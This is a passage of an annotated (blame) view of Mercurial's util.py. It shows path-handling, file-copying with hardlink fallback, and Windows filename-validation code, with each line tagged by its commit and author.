Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
  1503
    root should use os.sep to separate directories
3669
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
  1504
    n1 should use os.sep to separate directories
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
  1505
    n2 should use "/" to separate directories
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
  1506
    returns an os.sep-separated path.
4229
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
  1507
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
  1508
    If n1 is a relative path, it's assumed it's
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
  1509
    relative to root.
24c22a3f2ef8 pass repo.root to util.pathto() in preparation for the next patch
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4129
diff changeset
  1510
    n2 should always be relative to root.
3669
48768b1ab23c fix util.pathto
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 3629
diff changeset
  1511
    '''
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1512
    if not n1:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  1513
        return localpath(n2)
4230
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
  1514
    if os.path.isabs(n1):
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
  1515
        if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
  1516
            return os.path.join(root, localpath(n2))
c93562fb12cc Fix handling of paths when run outside the repo.
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4229
diff changeset
  1517
        n2 = '/'.join((pconvert(root), n2))
5844
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1518
    a, b = splitpath(n1), n2.split('/')
1541
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
  1519
    a.reverse()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
  1520
    b.reverse()
884
087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents: 878
diff changeset
  1521
    while a and b and a[-1] == b[-1]:
1541
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
  1522
        a.pop()
bf4e7ef08741 fixed some stuff pychecker shows, marked unclear/wrong stuff with XXX
twaldmann@thinkmo.de
parents: 1528
diff changeset
  1523
        b.pop()
884
087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents: 878
diff changeset
  1524
    b.reverse()
30618
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30545
diff changeset
  1525
    return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
884
087771ebe2e6 Fix walk code for files that do not exist anywhere, and unhandled types.
Bryan O'Sullivan <bos@serpentine.com>
parents: 878
diff changeset
  1526
22633
92b54547ac5d util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents: 22632
diff changeset
  1527
# the location of data files matching the source code
37121
5be286db5fb5 procutil: move process/executable management functions to new module
Yuya Nishihara <yuya@tcha.org>
parents: 37120
diff changeset
  1528
if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
22633
92b54547ac5d util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents: 22632
diff changeset
  1529
    # executable version (py2exe) doesn't support __file__
30672
10b17ed9b591 py3: replace sys.executable with pycompat.sysexecutable
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30647
diff changeset
  1530
    datapath = os.path.dirname(pycompat.sysexecutable)
22633
92b54547ac5d util: introduce datapath for getting the location of supporting data files
Mads Kiilerich <madski@unity3d.com>
parents: 22632
diff changeset
  1531
else:
31091
2912b06905dc py3: use pycompat.fsencode() to convert __file__ to bytes
Pulkit Goyal <7895pulkit@gmail.com>
parents: 31008
diff changeset
  1532
    datapath = os.path.dirname(pycompat.fsencode(__file__))
30314
8321b083a83d py3: make util.datapath a bytes variable
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30279
diff changeset
  1533
22638
0d0350cfc7ab i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents: 22633
diff changeset
  1534
i18n.setdatapath(datapath)
0d0350cfc7ab i18n: use datapath for i18n like for templates and help
Mads Kiilerich <madski@unity3d.com>
parents: 22633
diff changeset
  1535
7388
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1536
def checksignature(func):
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1537
    '''wrap a function with code to check for calling errors'''
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1538
    def check(*args, **kwargs):
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1539
        try:
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1540
            return func(*args, **kwargs)
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1541
        except TypeError:
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1542
            if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
7646
e62a456b8dc5 error: move SignatureError
Matt Mackall <mpm@selenic.com>
parents: 7644
diff changeset
  1543
                raise error.SignatureError
7388
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1544
            raise
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1545
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1546
    return check
5751631246de dispatch: generalize signature checking for extension command wrapping
Matt Mackall <mpm@selenic.com>
parents: 7301
diff changeset
  1547
31581
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
  1548
# a whilelist of known filesystems where hardlink works reliably
32331
bd872f64a8ba cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents: 32330
diff changeset
  1549
_hardlinkfswhitelist = {
37382
de9f9f888900 util: whitelist apfs for hardlink support
Augie Fackler <augie@google.com>
parents: 37366
diff changeset
  1550
    'apfs',
31581
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
  1551
    'btrfs',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
  1552
    'ext2',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
  1553
    'ext3',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
  1554
    'ext4',
31603
32f09ead059b util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents: 31599
diff changeset
  1555
    'hfs',
31581
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
  1556
    'jfs',
35515
d8f408d999f9 util: whitelist NTFS for hardlink creation (issue4580)
Matt Harbison <matt_harbison@yahoo.com>
parents: 35513
diff changeset
  1557
    'NTFS',
31581
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
  1558
    'reiserfs',
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
  1559
    'tmpfs',
31603
32f09ead059b util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents: 31599
diff changeset
  1560
    'ufs',
31581
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
  1561
    'xfs',
31603
32f09ead059b util: enable hardlink for some BSD-family filesystems
Jun Wu <quark@fb.com>
parents: 31599
diff changeset
  1562
    'zfs',
32331
bd872f64a8ba cleanup: use set literals
Martin von Zweigbergk <martinvonz@google.com>
parents: 32330
diff changeset
  1563
}
31581
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
  1564
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1565
def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
27369
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1566
    '''copy a file, preserving mode and optionally other stat info like
29367
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1567
    atime/mtime
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1568
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1569
    checkambig argument is used with filestat, and is useful only if
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1570
    destination file is guarded by any lock (e.g. repo.lock or
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1571
    repo.wlock).
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1572
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1573
    copystat and checkambig should be exclusive.
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
  1574
    '''
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1575
    assert not (copystat and checkambig)
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1576
    oldstat = None
18326
614f769e6aa7 util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents: 18026
diff changeset
  1577
    if os.path.lexists(dest):
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1578
        if checkambig:
32792
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
  1579
            oldstat = checkambig and filestat.frompath(dest)
18326
614f769e6aa7 util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents: 18026
diff changeset
  1580
        unlink(dest)
31581
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
  1581
    if hardlink:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
  1582
        # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
  1583
        # unless we are confident that dest is on a whitelisted filesystem.
31683
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31667
diff changeset
  1584
        try:
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31667
diff changeset
  1585
            fstype = getfstype(os.path.dirname(dest))
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31667
diff changeset
  1586
        except OSError:
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31667
diff changeset
  1587
            fstype = None
31581
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
  1588
        if fstype not in _hardlinkfswhitelist:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
  1589
            hardlink = False
31583
e7a02e9ad162 util: enable hardlink for copyfile
Jun Wu <quark@fb.com>
parents: 31581
diff changeset
  1590
    if hardlink:
23899
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
  1591
        try:
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
  1592
            oslink(src, dest)
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
  1593
            return
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
  1594
        except (IOError, OSError):
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
  1595
            pass # fall back to normal copy
4271
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
  1596
    if os.path.islink(src):
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
  1597
        os.symlink(os.readlink(src), dest)
27369
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1598
        # copytime is ignored for symlinks, but in general copytime isn't needed
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1599
        # for them anyway
4271
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
  1600
    else:
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
  1601
        try:
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
  1602
            shutil.copyfile(src, dest)
27369
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1603
            if copystat:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1604
                # copystat also copies mode
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1605
                shutil.copystat(src, dest)
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1606
            else:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
  1607
                shutil.copymode(src, dest)
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1608
                if oldstat and oldstat.stat:
32792
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
  1609
                    newstat = filestat.frompath(dest)
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1610
                    if newstat.isambig(oldstat):
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1611
                        # stat of copied file is ambiguous to original one
36789
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents: 36747
diff changeset
  1612
                        advanced = (
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents: 36747
diff changeset
  1613
                            oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
  1614
                        os.utime(dest, (advanced, advanced))
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
  1615
        except shutil.Error as inst:
37099
895f209b593b util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents: 37098
diff changeset
  1616
            raise error.Abort(str(inst))
3629
4cfb72bcb978 util: add copyfile function
Matt Mackall <mpm@selenic.com>
parents: 3568
diff changeset
  1617
24439
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1618
def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1619
    """Copy a directory tree using hardlinks if possible."""
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1620
    num = 0
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
  1621
31723
bf64449b2779 hardlink: extract topic text logic of copyfiles
Jun Wu <quark@fb.com>
parents: 31683
diff changeset
  1622
    gettopic = lambda: hardlink and _('linking') or _('copying')
698
df78d8ccac4c Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 667
diff changeset
  1623
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
  1624
    if os.path.isdir(src):
31724
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
  1625
        if hardlink is None:
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
  1626
            hardlink = (os.stat(src).st_dev ==
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
  1627
                        os.stat(os.path.dirname(dst)).st_dev)
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
  1628
        topic = gettopic()
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
  1629
        os.mkdir(dst)
32248
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32245
diff changeset
  1630
        for name, kind in listdir(src):
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
  1631
            srcname = os.path.join(src, name)
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
  1632
            dstname = os.path.join(dst, name)
24439
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1633
            def nprog(t, pos):
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1634
                if pos is not None:
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1635
                    return progress(t, pos + num)
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1636
            hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
11251
c61442f6d106 clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents: 11232
diff changeset
  1637
            num += n
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
  1638
    else:
31724
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
  1639
        if hardlink is None:
31725
dea2a17cbfd0 hardlink: check directory's st_dev when copying files
Jun Wu <quark@fb.com>
parents: 31724
diff changeset
  1640
            hardlink = (os.stat(os.path.dirname(src)).st_dev ==
31724
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
  1641
                        os.stat(os.path.dirname(dst)).st_dev)
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
  1642
        topic = gettopic()
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
  1643
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
  1644
        if hardlink:
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
  1645
            try:
14235
b9e1b041744f rename util.os_link to oslink
Adrian Buehlmann <adrian@cadifra.com>
parents: 14234
diff changeset
  1646
                oslink(src, dst)
2050
e49d0fa38176 util.copyfiles: only switch to copy if hardlink raises IOError or OSError.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2026
diff changeset
  1647
            except (IOError, OSError):
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
  1648
                hardlink = False
1591
5a3229cf1492 do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 1585
diff changeset
  1649
                shutil.copy(src, dst)
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
  1650
        else:
1591
5a3229cf1492 do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 1585
diff changeset
  1651
            shutil.copy(src, dst)
11251
c61442f6d106 clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents: 11232
diff changeset
  1652
        num += 1
24439
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1653
        progress(topic, num)
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
  1654
    progress(topic, None)
698
df78d8ccac4c Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 667
diff changeset
  1655
11251
c61442f6d106 clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents: 11232
diff changeset
  1656
    return hardlink, num
11254
640d419725d0 util.copyfiles: don't try os_link() again if it failed before
Adrian Buehlmann <adrian@cadifra.com>
parents: 11010
diff changeset
  1657
34069
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34020
diff changeset
  1658
_winreservednames = {
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34020
diff changeset
  1659
    'con', 'prn', 'aux', 'nul',
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34020
diff changeset
  1660
    'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34020
diff changeset
  1661
    'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34020
diff changeset
  1662
}
14262
23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents: 14250
diff changeset
  1663
_winreservedchars = ':*?"<>|'
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1664
def checkwinfilename(path):
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1665
    r'''Check that the base-relative path is a valid filename on Windows.
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1666
    Returns None if the path is ok, or a UI string describing the problem.
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1667
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1668
    >>> checkwinfilename(b"just/a/normal/path")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1669
    >>> checkwinfilename(b"foo/bar/con.xml")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1670
    "filename contains 'con', which is reserved on Windows"
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1671
    >>> checkwinfilename(b"foo/con.xml/bar")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1672
    "filename contains 'con', which is reserved on Windows"
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1673
    >>> checkwinfilename(b"foo/bar/xml.con")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1674
    >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1675
    "filename contains 'AUX', which is reserved on Windows"
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1676
    >>> checkwinfilename(b"foo/bar/bla:.txt")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1677
    "filename contains ':', which is reserved on Windows"
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1678
    >>> checkwinfilename(b"foo/bar/b\07la.txt")
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1679
    "filename contains '\\x07', which is invalid on Windows"
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1680
    >>> checkwinfilename(b"foo/bar/bla ")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
  1681
    "filename ends with ' ', which is not allowed on Windows"
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1682
    >>> checkwinfilename(b"../bar")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1683
    >>> checkwinfilename(b"foo\\")
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
  1684
    "filename ends with '\\', which is invalid on Windows"
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1685
